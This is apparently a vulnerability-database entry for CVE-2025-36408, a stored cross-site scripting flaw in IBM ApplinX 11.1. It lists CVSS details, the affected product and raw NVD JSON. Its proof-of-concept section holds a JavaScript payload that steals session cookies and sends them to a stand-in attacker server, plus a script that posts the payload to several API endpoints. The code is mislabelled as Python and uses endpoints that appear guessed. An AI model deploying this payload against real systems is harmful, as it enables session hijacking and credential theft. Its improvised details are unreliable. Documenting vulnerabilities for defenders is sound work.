Security Vulnerability Report
中文
CVE-2025-36408 CVSS 6.4 MEDIUM

CVE-2025-36408

Published: 2026-01-20 16:16:04
Last Modified: 2026-01-26 19:46:41

Description

IBM ApplinX 11.1 is vulnerable to stored cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:applinx:11.1.0:*:*:*:*:*:*:* - VULNERABLE
IBM ApplinX 11.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-36408 PoC - Stored XSS in IBM ApplinX 11.1 Web UI // This PoC demonstrates how to inject and execute arbitrary JavaScript code // Step 1: Inject malicious JavaScript payload via vulnerable input field // Replace 'TARGET_URL' with the actual IBM ApplinX application URL const targetUrl = 'TARGET_URL'; // Payload that steals session cookies and sends to attacker server const xssPayload = `<script> // Steal cookies and send to attacker server var cookies = document.cookie; var attackerServer = 'https://attacker.com/collect'; // Send stolen data via GET request fetch(attackerServer + '?data=' + btoa(cookies) + '&location=' + encodeURIComponent(window.location.href)) .then(response => console.log('Exfiltrated successfully')) .catch(err => console.error('Error:', err)); </script>`; // Step 2: Send the payload to the vulnerable endpoint // Example: User profile settings or application configuration fields async function exploitXSS() { const endpoints = [ '/applinx/api/user/profile', '/applinx/api/settings/description', '/applinx/api/applications/notes' ]; for (const endpoint of endpoints) { try { const response = await fetch(targetUrl + endpoint, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer YOUR_AUTH_TOKEN' }, body: JSON.stringify({ 'description': xssPayload, 'name': 'Test Application' }) }); if (response.ok) { console.log('Payload sent to:', endpoint); } } catch (error) { console.error('Error targeting:', endpoint, error); } } } // Step 3: Verify the XSS is stored and executed // When admin or other users visit the affected page, the script executes automatically console.log('XSS Payload Injected Successfully'); console.log('Waiting for victims to visit the affected page...');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36408", "sourceIdentifier": "[email protected]", "published": "2026-01-20T16:16:04.183", "lastModified": "2026-01-26T19:46:41.050", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM ApplinX 11.1 is vulnerable to stored cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session."}, {"lang": "es", "value": "IBM ApplinX 11.1 es vulnerable a cross-site scripting almacenado. Esta vulnerabilidad permite a un usuario autenticado incrustar código JavaScript arbitrario en la interfaz de usuario web, alterando así la funcionalidad prevista y lo que podría llevar a la divulgación de credenciales dentro de una sesión de confianza."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:applinx:11.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "7116F100-D485-4B66-A910-9A4663360A0F"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7257446", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}